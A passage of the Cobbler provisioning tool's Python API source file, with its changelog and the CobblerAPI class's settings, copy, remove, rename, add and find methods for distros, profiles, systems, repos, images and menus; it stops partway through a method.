9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,082
api.py
cobbler_cobbler/cobbler/api.py
""" This module represents the Cobbler Python API. It is used by the XML-RPC API and can be used by external consumers. Changelog: Schema: From -> To Current Schema: Please refer to the documentation visible of the individual methods. V3.4.0 (unreleased) * Added: * ``clean_items_cache`` * ``new_item`` * ``deserialize_item`` * ``input_string_or_list_no_inherit`` * ``input_string_or_list`` * ``input_string_or_dict`` * ``input_string_or_dict_no_inherit`` * ``input_boolean`` * ``input_int`` * Changed: * ``new_*``: Accepts kwargs as a last argument now (so a dict) that makes it possible to seed an object * Removed: * Unused reporter module V3.3.4 (unreleased) * No changes V3.3.3 * Added: * ``get_item_resolved_value`` * ``set_item_resolved_value`` * Changed: * ``dump_vars``: Added boolean parameter ``remove_dicts`` as a new last argument V3.3.2 * No changes V3.3.1 * Changes: * ``add_system``: Parameter ``check_for_duplicate_netinfo`` was removed * ``build_iso``: Replaced default ``None`` arguments with typed arguments * ``create_grub_images``: Renamed to ``mkloaders`` V3.3.0 * Added: * ``menus`` * ``copy_menu`` * ``remove_menu`` * ``rename_menu`` * ``new_menu`` * ``add_menu`` * ``find_menu`` * ``get_menus_since`` * ``sync_systems`` * ``sync_dns`` * ``get_valid_obj_boot_loaders`` * ``create_grub_images`` * Changed: * Constructor: Added ``settingsfile_location`` and ``execute_settings_automigration`` as parameters * ``find_items``: Accept an empty ``str`` for ``what`` if the argument ``name`` is given. * ``dump_vars``: Parameter ``format`` was renamed to ``formatted_output`` * ``generate_gpxe``: Renamed to ``generate_ipxe``; The second parameter is now ``image`` and accepts the name of one. * ``sync``: Accepts a new parameter called ``what`` which is a ``List[str]`` that signals what should be synced. An empty list signals a full sync. * ``sync_dhcp``: Parameter ``verbose`` was removed * Removed: * The ``logger`` arugment was removed from all methods * ``dlcontent`` V3.2.2 * No changes V3.2.1 * Added primitive type annotations for all parameters of all methods V3.2.0 * No changes V3.1.2 * No changes V3.1.1 * No changes V3.1.0 * No changes V3.0.1 * No changes V3.0.0 * Added: * power_system: Replaces power_on, power_off, reboot, power_status * Changed: * import_tree: ``kickstart_file`` is now called ``autoinstall_file`` * Removed: * ``update`` * ``clear`` * ``deserialize_raw`` * ``deserialize_item_raw`` * ``power_on`` - Replaced by power_system * ``power_off`` - Replaced by power_system * ``reboot`` - Replaced by power_system * ``power_status`` - Replaced by power_system V2.8.5 * Inital tracking of changes. """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import logging import os import pathlib import random import tempfile import threading from configparser import ConfigParser from pathlib import Path from types import ModuleType from typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Tuple, Union from schema import SchemaError # type: ignore from cobbler import ( autoinstall_manager, autoinstallgen, download_manager, enums, module_loader, power_manager, settings, tftpgen, utils, validate, yumgen, ) from cobbler.actions import ( acl, check, hardlink, importer, log, mkloaders, replicate, reposync, status, ) from cobbler.actions import sync as sync_module from cobbler.actions.buildiso.netboot import NetbootBuildiso from cobbler.actions.buildiso.standalone import StandaloneBuildiso from cobbler.cexceptions import CX from cobbler.cobbler_collections import manager from cobbler.decorator import InheritableDictProperty, InheritableProperty from cobbler.items import distro from cobbler.items import image as image_module from cobbler.items import menu from cobbler.items import profile as profile_module from cobbler.items import repo from cobbler.items import system as system_module from cobbler.items.abstract import bootable_item as item_base from cobbler.items.abstract.inheritable_item import InheritableItem from cobbler.utils import filesystem_helpers, input_converters, signatures if TYPE_CHECKING: from cobbler.cobbler_collections.collection import FIND_KWARGS, ITEM, Collection from cobbler.cobbler_collections.distros import Distros from cobbler.cobbler_collections.images import Images from cobbler.cobbler_collections.menus import Menus from cobbler.cobbler_collections.profiles import Profiles from cobbler.cobbler_collections.repos import Repos from cobbler.cobbler_collections.systems import Systems from cobbler.items.abstract.base_item import BaseItem from cobbler.items.abstract.bootable_item import BootableItem # notes on locking: # - CobblerAPI is a singleton object # - The XMLRPC variants allow 1 simultaneous request, therefore we flock on our settings file for now on a request by # request basis. class CobblerAPI: """ Python API module for Cobbler. See source for cobbler.py, or pydoc, for example usage. Cli apps and daemons should import api.py, and no other Cobbler code. """ __shared_state: Dict[str, Any] = {} __has_loaded = False def __init__( self, is_cobblerd: bool = False, settingsfile_location: str = "/etc/cobbler/settings.yaml", execute_settings_automigration: bool = False, ): """ Constructor :param is_cobblerd: Whether this API is run as a daemon or not. :param settingsfile_location: The location of the settings file on the disk. """ # FIXME: this should be switchable through some simple system self.__dict__ = CobblerAPI.__shared_state self.mtime_location = "/var/lib/cobbler/.mtime" self.perms_ok = False if not CobblerAPI.__has_loaded: # NOTE: we do not log all API actions, because a simple CLI invocation may call adds and such to load the # config, which would just fill up the logs, so we'll do that logging at CLI level (and remote.py web # service level) instead. random.seed() self.is_cobblerd = is_cobblerd if is_cobblerd: main_thread = threading.main_thread() main_thread.setName("Daemon") self.logger = logging.getLogger() # FIXME: consolidate into 1 server instance self.selinux_enabled = utils.is_selinux_enabled() self.dist, self.os_version = utils.os_release() self._settings = self.__generate_settings( pathlib.Path(settingsfile_location), execute_settings_automigration ) CobblerAPI.__has_loaded = True # load the modules first, or nothing else works... self.module_loader = module_loader.ModuleLoader(self) self.module_loader.load_modules() # In case the signatures can't be loaded, we can't validate distros etc. Thus, the raised exception should # not be caught. self.__load_signatures() self._collection_mgr = manager.CollectionManager(self) self.deserialize() self.authn = self.get_module_from_file( "authentication", "module", "authentication.configfile" ) self.authz = self.get_module_from_file( "authorization", "module", "authorization.allowall" ) # FIXME: pass more loggers around, and also see that those using things via tasks construct their own # yumgen/tftpgen versus reusing this one, which has the wrong logger (most likely) for background tasks. self.autoinstallgen = autoinstallgen.AutoInstallationGen(self) self.yumgen = yumgen.YumGen(self) self.tftpgen = tftpgen.TFTPGen(self) self.__directory_startup_preparations() self.logger.debug("API handle initialized") self.perms_ok = True def __directory_startup_preparations(self) -> None: """ This function prepares the daemon to be able to operate with directories that need to be handled before it can operate as designed. :raises FileNotFoundError: In case a directory required for operation is missing. """ self.logger.debug("Creating necessary directories") required_directories = [ pathlib.Path("/var/lib/cobbler"), pathlib.Path("/etc/cobbler"), pathlib.Path(self.settings().webdir), pathlib.Path(self.settings().tftpboot_location), ] for directory in required_directories: if not directory.is_dir(): directory.mkdir() self.logger.info('Created required directory: "%s"', str(directory)) filesystem_helpers.create_tftpboot_dirs(self) filesystem_helpers.create_web_dirs(self) filesystem_helpers.create_trigger_dirs(self) filesystem_helpers.create_json_database_dirs(self) def __load_signatures(self) -> None: try: signatures.load_signatures(self.settings().signature_path) except Exception as exception: self.logger.error( 'Failed to load signatures from "%s"', self.settings().signature_path, exc_info=exception, ) raise exception self.logger.info( "%d breeds and %d OS versions read from the signature file", len(signatures.get_valid_breeds()), len(signatures.get_valid_os_versions()), ) def __generate_settings( self, settings_path: Path, execute_settings_automigration: bool = False ) -> settings.Settings: yaml_dict = settings.read_yaml_file(str(settings_path)) if execute_settings_automigration is not None: # type: ignore self.logger.info( 'Daemon flag overwriting other possible values from "settings.yaml" for automigration!' ) yaml_dict["auto_migrate_settings"] = execute_settings_automigration if yaml_dict.get("auto_migrate_settings", False): self.logger.info("Automigration executed") normalized_settings = settings.migrate(yaml_dict, settings_path) else: self.logger.info("Automigration NOT executed") # In case we have disabled the auto-migration, we still check if the settings are valid. try: normalized_settings = settings.validate_settings(yaml_dict) except SchemaError as error: raise ValueError( "Settings are invalid and auto-migration is disabled. Please correct this manually!" ) from error # Use normalized or migrated dict and create settings object new_settings = settings.Settings() new_settings.from_dict(normalized_settings) if yaml_dict.get("auto_migrate_settings", False): # save to disk only when automigration was performed # to avoid creating duplicated files new_settings.save(str(settings_path)) # Return object return new_settings # ========================================================== def is_selinux_enabled(self) -> bool: """ Returns whether selinux is enabled on the Cobbler server. We check this just once at Cobbler API init time, because a restart is required to change this; this does /not/ check enforce/permissive, nor does it need to. """ return self.selinux_enabled def is_selinux_supported(self) -> bool: """ Returns whether or not the OS is sufficient enough to run with SELinux enabled (currently EL 5 or later). :returns: False per default. If Distro is Redhat and Version >= 5 then it returns true. """ # FIXME: This detection is flawed. There is more than just Rhel with selinux and the original implementation was # too broad. if ("red hat" in self.dist or "redhat" in self.dist) and self.os_version >= 5: return True # doesn't support public_content_t return False # ========================================================== def last_modified_time(self) -> float: """ Returns the time of the last modification to Cobbler, made by any API instance, regardless of the serializer type. :returns: 0 if there is no file where the information required for this method is saved. """ # FIXME: This fails in case the file required is not available if not os.path.exists(self.mtime_location): with open(self.mtime_location, "w", encoding="UTF-8") as mtime_fd: mtime_fd.write("0") return 0.0 with open(self.mtime_location, "r", encoding="UTF-8") as mtime_fd: data = mtime_fd.read().strip() return float(data) # ========================================================== def log( self, msg: str, args: Optional[Union[str, List[Optional[str]], Dict[str, Any]]] = None, debug: bool = False, ) -> None: """ Logs a message with the already initiated logger of this object. :param msg: The message to log. :param args: Optional message which gets appended to the main msg with a ';'. :param debug: Weather the logged message is a debug message (true) or info (false). .. deprecated:: 3.3.0 We should use the standard logger. """ if debug: logger = self.logger.debug else: logger = self.logger.info if args is None: logger("%s", msg) else: logger("%s; %s", msg, str(args)) # ========================================================== def version( self, extended: bool = False ) -> Union[float, Dict[str, Union[str, List[Any]]]]: """ What version is Cobbler? If extended == False, returns a float for backwards compatibility If extended == True, returns a dict: gitstamp -- the last git commit hash gitdate -- the last git commit date on the builder machine builddate -- the time of the build version -- something like "1.3.2" version_tuple -- something like [ 1, 3, 2 ] :param extended: False returns a float, True a Dictionary. """ config = ConfigParser() config.read("/etc/cobbler/version") data: Dict[str, Union[str, List[Any]]] = { "gitdate": config.get("cobbler", "gitdate"), "gitstamp": config.get("cobbler", "gitstamp"), "builddate": config.get("cobbler", "builddate"), "version": config.get("cobbler", "version"), "version_tuple": [], } # don't actually read the version_tuple from the version file # mypy doesn't know that version the version key is controlled by us and we thus can safely assume that this # is a str for num in data["version"].split("."): # type: ignore[union-attr] data["version_tuple"].append(int(num)) # type: ignore[union-attr] if not extended: # for backwards compatibility and use with koan's comparisons elems = data["version_tuple"] # This double conversion is required because of the typical floating point problems. # https://docs.python.org/3/tutorial/floatingpoint.html return float( format( int(elems[0]) + 0.1 * int(elems[1]) + 0.001 * int(elems[2]), ".3f" ) ) return data # ========================================================================== def clean_items_cache(self, obj: Union[settings.Settings, Dict[str, Any]]): """ Items cache invalidation in case of settings or singatures changes. Cobbler internal use only. """ if obj is None or isinstance(obj, settings.Settings): # type: ignore item_types = [ "repo", "distro", "menu", "image", "profile", "system", ] elif obj == self.get_signatures(): item_types = ["distro", "image", "profile", "system"] else: raise CX(f"Wrong object type {type(obj)} for cache invalidation!") for item_type in item_types: for item_obj in self.get_items(item_type): item_obj.cache.set_dict_cache(None, True) # ========================================================== def get_item(self, what: str, name: str) -> Optional["BootableItem"]: """ Get a general item. :param what: The item type to retrieve from the internal database. :param name: The name of the item to retrieve. :return: An item of the desired type. """ # self.log("get_item", [what, name], debug=True) result = self._collection_mgr.get_items(what).get(name) return result # type: ignore def get_items(self, what: str) -> "Collection[BaseItem]": """ Get all items of a collection. :param what: The collection to query. :return: The items which were queried. May return no items. """ # self.log("get_items", [what], debug=True) items = self._collection_mgr.get_items(what) return items def distros(self) -> "Distros": """ Return the current list of distributions """ return self._collection_mgr.distros() def profiles(self) -> "Profiles": """ Return the current list of profiles """ return self._collection_mgr.profiles() def systems(self) -> "Systems": """ Return the current list of systems """ return self._collection_mgr.systems() def repos(self) -> "Repos": """ Return the current list of repos """ return self._collection_mgr.repos() def images(self) -> "Images": """ Return the current list of images """ return self._collection_mgr.images() def settings(self) -> "settings.Settings": """ Return the application configuration """ return self._settings def menus(self) -> "Menus": """ Return the current list of menus """ return self._collection_mgr.menus() # ======================================================================= def __item_resolved_helper(self, item_uuid: str, attribute: str) -> "BaseItem": """ This helper validates the common data for ``*_item_resolved_value``. :param item_uuid: The uuid for the item. :param attribute: The attribute name that is requested. :returns: The desired item to further process. :raises TypeError: If ``item_uuid`` or ``attribute`` are not a str. :raises ValueError: In case the uuid was invalid or the requested item did not exist. :raises AttributeError: In case the attribute did not exist on the item that was requested. """ if not isinstance(item_uuid, str): # type: ignore raise TypeError("item_uuid must be of type str!") if not validate.validate_uuid(item_uuid): raise ValueError("The given uuid did not have the correct format!") if not isinstance(attribute, str): # type: ignore raise TypeError("attribute must be of type str!") # We pass return_list=False, thus the return type is Optional[ITEM] desired_item = self.find_items( "", {"uid": item_uuid}, return_list=False, no_errors=True ) if desired_item is None: raise ValueError(f'Item with item_uuid "{item_uuid}" did not exist!') if isinstance(desired_item, list): raise ValueError("Ambiguous match during searching for resolved item!") if not hasattr(desired_item, attribute): raise AttributeError( f'Attribute "{attribute}" did not exist on item type "{desired_item.TYPE_NAME}".' ) return desired_item def get_item_resolved_value(self, item_uuid: str, attribute: str) -> Any: """ This method helps non Python API consumers to retrieve the final data of a field with inheritance. This does not help with network interfaces because they don't have a UUID at the moment and thus can't be queried via their UUID. :param item_uuid: The UUID of the item that should be retrieved. :param attribute: The attribute that should be retrieved. :raises ValueError: In case a value given was either malformed or the desired item did not exist. :raises TypeError: In case the type of the method arguments do have the wrong type. :raises AttributeError: In case the attribute specified is not available on the given item (type). :returns: The attribute value. Since this might be of type NetworkInterface we cannot yet set this explicitly. """ desired_item = self.__item_resolved_helper(item_uuid, attribute) return getattr(desired_item, attribute) def set_item_resolved_value( self, item_uuid: str, attribute: str, value: Any ) -> None: """ This method helps non Python API consumers to use the Python property setters without having access to the raw data of the object. In case you pass a dictionary the method tries to deduplicate it. This does not help with network interfaces because they don't have a UUID at the moment and thus can't be queried via their UUID. .. warning:: This function may throw any exception that is thrown by a setter of a Python property defined in Cobbler. :param item_uuid: The UUID of the item that should be retrieved. :param attribute: The attribute that should be retrieved. :param value: The new value to set. :raises ValueError: In case a value given was either malformed or the desired item did not exist. :raises TypeError: In case the type of the method arguments do have the wrong type. :raises AttributeError: In case the attribute specified is not available on the given item (type). """ desired_item = self.__item_resolved_helper(item_uuid, attribute) property_object_of_attribute = getattr(type(desired_item), attribute) # Check if value can be inherited or not if "inheritable" not in dir(property_object_of_attribute): if value == enums.VALUE_INHERITED: raise ValueError( "<<inherit>> not allowed for non-inheritable properties." ) setattr(desired_item, attribute, value) return if isinstance(property_object_of_attribute, InheritableDictProperty): # Deduplicate dictionaries if isinstance(desired_item, InheritableItem): parent_item = desired_item.logical_parent if hasattr(parent_item, attribute): parent_value = getattr(parent_item, attribute) dict_value = input_converters.input_string_or_dict(value) if isinstance(dict_value, str): # This can only be the inherited case dict_value = enums.VALUE_INHERITED else: for key in parent_value: if ( key in dict_value and key in parent_value and dict_value[key] == parent_value[key] ): dict_value.pop(key) setattr(desired_item, attribute, dict_value) return else: # Value can only be coming from settings? raise ValueError( "Deduplication of dictionaries not supported for Items not inheriting from InheritableItem!" ) if isinstance(property_object_of_attribute, InheritableProperty) and isinstance( getattr(desired_item, attribute), list ): # Deduplicate lists if isinstance(desired_item, InheritableItem): parent_item = desired_item.logical_parent if hasattr(parent_item, attribute): parent_value = getattr(parent_item, attribute) list_value = input_converters.input_string_or_list(value) if isinstance(list_value, str): # This can only be the inherited case list_value = enums.VALUE_INHERITED else: for item in parent_value: if item in list_value: list_value.remove(item) setattr(desired_item, attribute, list_value) return else: # Value can only be coming from settings? raise ValueError( "Deduplication of dictionaries not supported for Items not inheriting from InheritableItem!" ) # Use property setter setattr(desired_item, attribute, value) # ======================================================================= def copy_item(self, what: str, ref: "BaseItem", newname: str) -> None: """ General copy method which is called by the specific methods. :param what: The collection type which gets copied. :param ref: The object itself which gets copied. :param newname: The new name of the newly created object. """ self.log(f"copy_item({what})", [ref.name, newname]) self.get_items(what).copy(ref, newname) # type: ignore def copy_distro(self, ref: "distro.Distro", newname: str) -> None: """ This method copies a distro which is just different in the name of the object. :param ref: The object itself which gets copied. :param newname: The new name of the newly created object. """ self._collection_mgr.distros().copy(ref, newname) def copy_profile(self, ref: "profile_module.Profile", newname: str) -> None: """ This method copies a profile which is just different in the name of the object. :param ref: The object itself which gets copied. :param newname: The new name of the newly created object. """ self._collection_mgr.profiles().copy(ref, newname) def copy_system(self, ref: "system_module.System", newname: str) -> None: """ This method copies a system which is just different in the name of the object. :param ref: The object itself which gets copied. :param newname: The new name of the newly created object. """ self._collection_mgr.systems().copy(ref, newname) def copy_repo(self, ref: "repo.Repo", newname: str) -> None: """ This method copies a repository which is just different in the name of the object. :param ref: The object itself which gets copied. :param newname: The new name of the newly created object. """ self._collection_mgr.repos().copy(ref, newname) def copy_image(self, ref: "image_module.Image", newname: str) -> None: """ This method copies an image which is just different in the name of the object. :param ref: The object itself which gets copied. :param newname: The new name of the newly created object. """ self._collection_mgr.images().copy(ref, newname) def copy_menu(self, ref: "menu.Menu", newname: str) -> None: """ This method copies a file which is just different in the name of the object. :param ref: The object itself which gets copied. :param newname: The new name of the newly created object. """ self._collection_mgr.menus().copy(ref, newname) # ========================================================================== def remove_item( self, what: str, ref: Union["BaseItem", str], recursive: bool = False, delete: bool = True, with_triggers: bool = True, ) -> None: """ Remove a general item. This method should not be used by an external api. Please use the specific remove_<itemtype> methods. :param what: The type of the item. :param ref: The internal unique handle for the item. :param recursive: If the item should recursively should delete dependencies on itself. :param delete: Not known what this parameter does exactly. :param with_triggers: Whether you would like to have the removal triggers executed or not. """ to_delete: Optional["BaseItem"] = None if isinstance(ref, str): to_delete = self.get_item(what, ref) if to_delete is None: return # nothing to remove else: to_delete = ref self.log(f"remove_item({what})", [to_delete.name]) self.get_items(what).remove( to_delete.name, recursive=recursive, with_delete=delete, with_triggers=with_triggers, ) def remove_distro( self, ref: Union["distro.Distro", str], recursive: bool = False, delete: bool = True, with_triggers: bool = True, ) -> None: """ Remove a distribution from Cobbler. :param ref: The internal unique handle for the item. :param recursive: If the item should recursively should delete dependencies on itself. :param delete: Not known what this parameter does exactly. :param with_triggers: Whether you would like to have the removal triggers executed or not. """ self.remove_item( "distro", ref, recursive=recursive, delete=delete, with_triggers=with_triggers, ) def remove_profile( self, ref: Union["profile_module.Profile", str], recursive: bool = False, delete: bool = True, with_triggers: bool = True, ) -> None: """ Remove a profile from Cobbler. :param ref: The internal unique handle for the item. :param recursive: If the item should recursively should delete dependencies on itself. :param delete: Not known what this parameter does exactly. :param with_triggers: Whether you would like to have the removal triggers executed or not. """ self.remove_item( "profile", ref, recursive=recursive, delete=delete, with_triggers=with_triggers, ) def remove_system( self, ref: Union["system_module.System", str], recursive: bool = False, delete: bool = True, with_triggers: bool = True, ) -> None: """ Remove a system from Cobbler. :param ref: The internal unique handle for the item. :param recursive: If the item should recursively should delete dependencies on itself. :param delete: Not known what this parameter does exactly. :param with_triggers: Whether you would like to have the removal triggers executed or not. """ self.remove_item( "system", ref, recursive=recursive, delete=delete, with_triggers=with_triggers, ) def remove_repo( self, ref: Union["repo.Repo", str], recursive: bool = False, delete: bool = True, with_triggers: bool = True, ) -> None: """ Remove a repository from Cobbler. :param ref: The internal unique handle for the item. :param recursive: If the item should recursively should delete dependencies on itself. :param delete: Not known what this parameter does exactly. :param with_triggers: Whether you would like to have the removal triggers executed or not. """ self.remove_item( "repo", ref, recursive=recursive, delete=delete, with_triggers=with_triggers ) def remove_image( self, ref: Union["image_module.Image", str], recursive: bool = False, delete: bool = True, with_triggers: bool = True, ) -> None: """ Remove a image from Cobbler. :param ref: The internal unique handle for the item. :param recursive: If the item should recursively should delete dependencies on itself. :param delete: Not known what this parameter does exactly. :param with_triggers: Whether you would like to have the removal triggers executed or not. """ self.remove_item( "image", ref, recursive=recursive, delete=delete, with_triggers=with_triggers, ) def remove_menu( self, ref: Union["menu.Menu", str], recursive: bool = False, delete: bool = True, with_triggers: bool = True, ) -> None: """ Remove a menu from Cobbler. :param ref: The internal unique handle for the item. :param recursive: If the item should recursively should delete dependencies on itself. :param delete: Not known what this parameter does exactly. :param with_triggers: Whether you would like to have the removal triggers executed or not. """ self.remove_item( "menu", ref, recursive=recursive, delete=delete, with_triggers=with_triggers ) # ========================================================================== def rename_item(self, what: str, ref: "BaseItem", newname: str) -> None: """ Remove a general item. This method should not be used by an external api. Please use the specific rename_<itemtype> methods. :param what: The type of object which should be renamed. :param ref: The internal unique handle for the item. :param newname: The new name for the item. """ self.log(f"rename_item({what})", [ref.name, newname]) self.get_items(what).rename(ref, newname) # type: ignore def rename_distro(self, ref: "distro.Distro", newname: str) -> None: """ Rename a distro to a new name. :param ref: The internal unique handle for the item. :param newname: The new name for the item. """ self.rename_item("distro", ref, newname) def rename_profile(self, ref: "profile_module.Profile", newname: str) -> None: """ Rename a profile to a new name. :param ref: The internal unique handle for the item. :param newname: The new name for the item. """ self.rename_item("profile", ref, newname) def rename_system(self, ref: "system_module.System", newname: str) -> None: """ Rename a system to a new name. :param ref: The internal unique handle for the item. :param newname: The new name for the item. """ self.rename_item("system", ref, newname) def rename_repo(self, ref: "repo.Repo", newname: str) -> None: """ Rename a repository to a new name. :param ref: The internal unique handle for the item. :param newname: The new name for the item. """ self.rename_item("repo", ref, newname) def rename_image(self, ref: "image_module.Image", newname: str) -> None: """ Rename an image to a new name. :param ref: The internal unique handle for the item. :param newname: The new name for the item. """ self.rename_item("image", ref, newname) def rename_menu(self, ref: "menu.Menu", newname: str) -> None: """ Rename a menu to a new name. :param ref: The internal unique handle for the item. :param newname: The new name for the item. """ self.rename_item("menu", ref, newname) # ========================================================================== def new_item( self, what: str = "", is_subobject: bool = False, **kwargs: Any ) -> "BootableItem": """ Creates a new (unconfigured) object. The object is not persisted. :param what: Specifies the type of object. Valid item types can be seen at :func:`~cobbler.enums.ItemTypes`. :param is_subobject: If the object is a subobject of an already existing object or not. :return: The newly created object. """ try: enums.ItemTypes(what) # verify that <what> is an ItemTypes member return getattr(self, f"new_{what}")(is_subobject, **kwargs) except (ValueError, AttributeError) as error: raise Exception(f"internal error, collection name is {what}") from error def new_distro(self, is_subobject: bool = False, **kwargs: Any) -> "distro.Distro": """ Returns a new empty distro object. This distro is not automatically persisted. Persistance is achieved via ``save()``. :param is_subobject: If the object is a subobject of an already existing object or not. :return: An empty Distro object. """ self.log("new_distro", kwargs) return distro.Distro(self, is_subobject, **kwargs) def new_profile( self, is_subobject: bool = False, **kwargs: Any ) -> "profile_module.Profile": """ Returns a new empty profile object. This profile is not automatically persisted. Persistence is achieved via ``save()``. :param is_subobject: If the object created is a subobject or not. :return: An empty Profile object. """ self.log("new_profile", kwargs) return profile_module.Profile(self, is_subobject, **kwargs) def new_system( self, is_subobject: bool = False, **kwargs: Any ) -> "system_module.System": """ Returns a new empty system object. This system is not automatically persisted. Persistence is achieved via ``save()``. :param is_subobject: If the object created is a subobject or not. :return: An empty System object. """ self.log("new_system", kwargs) return system_module.System(self, is_subobject, **kwargs) def new_repo(self, is_subobject: bool = False, **kwargs: Any) -> "repo.Repo": """ Returns a new empty repo object. This repository is not automatically persisted. Persistence is achieved via ``save()``. :param is_subobject: If the object created is a subobject or not. :return: An empty repo object. """ self.log("new_repo", kwargs) return repo.Repo(self, is_subobject, kwargs) def new_image( self, is_subobject: bool = False, **kwargs: Any ) -> "image_module.Image": """ Returns a new empty image object. This image is not automatically persisted. Persistence is achieved via ``save()``. :param is_subobject: If the object created is a subobject or not. :return: An empty image object. """ self.log("new_image", kwargs) return image_module.Image(self, is_subobject, **kwargs) def new_menu(self, is_subobject: bool = False, **kwargs: Any) -> "menu.Menu": """ Returns a new empty menu object. This file is not automatically persisted. Persistence is achieved via ``save()``. :param is_subobject: If the object created is a subobject or not. :return: An empty Menu object. """ self.log("new_menu", kwargs) return menu.Menu(self, is_subobject, **kwargs) # ========================================================================== def add_item( self, what: str, ref: "BaseItem", check_for_duplicate_names: bool = False, save: bool = True, with_triggers: bool = True, ) -> None: """ Add an abstract item to a collection of its specific items. This is not meant for external use. Please reefer to one of the specific methods ``add_<type>``. :param what: The item type. :param ref: The identifier for the object to add to a collection. :param check_for_duplicate_names: If the name should be unique or can be present multiple times. :param save: If the item should be persisted. :param with_triggers: If triggers should be run when the object is added. """ self.log(f"add_item({what})", [ref.name]) self.get_items(what).add( ref, # type: ignore check_for_duplicate_names=check_for_duplicate_names, save=save, with_triggers=with_triggers, ) def add_distro( self, ref: "distro.Distro", check_for_duplicate_names: bool = False, save: bool = True, with_triggers: bool = True, ) -> None: """ Add a distribution to Cobbler. :param ref: The identifier for the object to add to a collection. :param check_for_duplicate_names: If the name should be unique or can be present multiple times. :param save: If the item should be persisted. :param with_triggers: If triggers should be run when the object is added. """ self.add_item( "distro", ref, check_for_duplicate_names=check_for_duplicate_names, save=save, with_triggers=with_triggers, ) def add_profile( self, ref: "profile_module.Profile", check_for_duplicate_names: bool = False, save: bool = True, with_triggers: bool = True, ) -> None: """ Add a profile to Cobbler. :param ref: The identifier for the object to add to a collection. :param check_for_duplicate_names: If the name should be unique or can be present multiple times. :param save: If the item should be persisted. :param with_triggers: If triggers should be run when the object is added. """ self.add_item( "profile", ref, check_for_duplicate_names=check_for_duplicate_names, save=save, with_triggers=with_triggers, ) def add_system( self, ref: "system_module.System", check_for_duplicate_names: bool = False, save: bool = True, with_triggers: bool = True, ) -> None: """ Add a system to Cobbler. :param ref: The identifier for the object to add to a collection. :param check_for_duplicate_names: If the name should be unique or can be present multiple times. :param save: If the item should be persisted. :param with_triggers: If triggers should be run when the object is added. """ self.add_item( "system", ref, check_for_duplicate_names=check_for_duplicate_names, save=save, with_triggers=with_triggers, ) def add_repo( self, ref: "repo.Repo", check_for_duplicate_names: bool = False, save: bool = True, with_triggers: bool = True, ) -> None: """ Add a repository to Cobbler. :param ref: The identifier for the object to add to a collection. :param check_for_duplicate_names: If the name should be unique or can be present multiple times. :param save: If the item should be persisted. :param with_triggers: If triggers should be run when the object is added. """ self.add_item( "repo", ref, check_for_duplicate_names=check_for_duplicate_names, save=save, with_triggers=with_triggers, ) def add_image( self, ref: "image_module.Image", check_for_duplicate_names: bool = False, save: bool = True, with_triggers: bool = True, ) -> None: """ Add an image to Cobbler. :param ref: The identifier for the object to add to a collection. :param check_for_duplicate_names: If the name should be unique or can be present multiple times. :param save: If the item should be persisted. :param with_triggers: If triggers should be run when the object is added. """ self.add_item( "image", ref, check_for_duplicate_names=check_for_duplicate_names, save=save, with_triggers=with_triggers, ) def add_menu( self, ref: "menu.Menu", check_for_duplicate_names: bool = False, save: bool = True, with_triggers: bool = True, ) -> None: """ Add a submenu to Cobbler. :param ref: The identifier for the object to add to a collection. :param check_for_duplicate_names: If the name should be unique or can be present multiple times. :param save: If the item should be persisted. :param with_triggers: If triggers should be run when the object is added. """ self.add_item( "menu", ref, check_for_duplicate_names=check_for_duplicate_names, save=save, with_triggers=with_triggers, ) # ========================================================================== def find_items( self, what: str = "", criteria: Optional[Dict[Any, Any]] = None, name: str = "", return_list: bool = True, no_errors: bool = False, ) -> Optional[Union["BootableItem", List["BootableItem"]]]: """ This is the abstract base method for finding object int the api. It should not be used by external resources. Please reefer to the specific implementations of this method called ``find_<object type>``. :param what: The object type of the item to search for. :param criteria: The dictionary with the key-value pairs to find objects with. :param name: The name of the object. :param return_list: If only the first result or all results should be returned. :param no_errors: Silence some errors which would raise if this turned to False. :return: The list of items witch match the search criteria. """ # self.log("find_items", [what]) if criteria is None: criteria = {} if not isinstance(name, str): # type: ignore raise TypeError('"name" must be of type str!') if not isinstance(what, str): # type: ignore raise TypeError('"what" must be of type str!') if what != "" and not validate.validate_obj_type(what): raise ValueError("what needs to be a valid collection if it is non empty!") if what == "" and ("name" in criteria or name != ""): return self.__find_by_name(criteria.get("name", name)) if what != "": return self.__find_with_collection( what, name, return_list, no_errors, criteria ) return self.__find_without_collection(name, return_list, no_errors, criteria) def __find_with_collection( self, what: str, name: str, return_list: bool, no_errors: bool, criteria: Dict[Any, Any], ) -> Optional[Union["ITEM", List["ITEM"]]]: items = self._collection_mgr.get_items(what) return items.find( name=name, return_list=return_list, no_errors=no_errors, **criteria ) # type: ignore def __find_without_collection( self, name: str, return_list: bool, no_errors: bool, criteria: Dict[Any, Any] ) -> Optional[Union["BootableItem", List["BootableItem"]]]: collections = [ "distro", "profile", "system", "repo", "image", "menu", ] for collection_name in collections: match = self.find_items( collection_name, criteria, name=name, return_list=return_list, no_errors=no_errors, ) if match is not None: return match return None def __find_by_name(self, name: str) -> Optional["BootableItem"]: """ This is a magic method which just searches all collections for the specified name directly, :param name: The name of the item(s). :return: The found item or None. """ if not isinstance(name, str): # type: ignore raise TypeError("name of an object must be of type str!") collections = [ "distro", "profile", "system", "repo", "image", "menu", ] for collection_name in collections: match = self.find_items(collection_name, name=name, return_list=False) if isinstance(match, list): raise ValueError("Ambiguous match during search!") if match is not None: return match return None def find_distro( self, name: str = "", return_list: bool = False, no_errors: bool = False, **kargs: "FIND_KWARGS", ) -> Optional[Union[List["distro.Distro"], "distro.Distro"]]: """ Find a distribution via a name or keys specified in the ``**kargs``. :param name: The name to search for. :param return_list: If only the first result or all results should be returned. :param no_errors: Silence some errors which would raise if this turned to False. :param kargs: Additional key-value pairs which may help in finding the desired objects. :return: A single object or a list of all search results. """ return self._collection_mgr.distros().find( name=name, return_list=return_list, no_errors=no_errors, **kargs ) def find_profile( self, name: str = "", return_list: bool = False, no_errors: bool = False, **kargs: "FIND_KWARGS", ) -> Optional[Union[List["profile_module.Profile"], "profile_module.Profile"]]: """ Find a profile via a name or keys specified in the ``**kargs``. :param name: The name to search for. :param return_list: If only the first result or all results should be returned. :param no_errors: Silence some errors which would raise if this turned to False. :param kargs: Additional key-value pairs which may help in finding the desired objects. :return: A single object or a list of all search results. """ return self._collection_mgr.profiles().find( name=name, return_list=return_list, 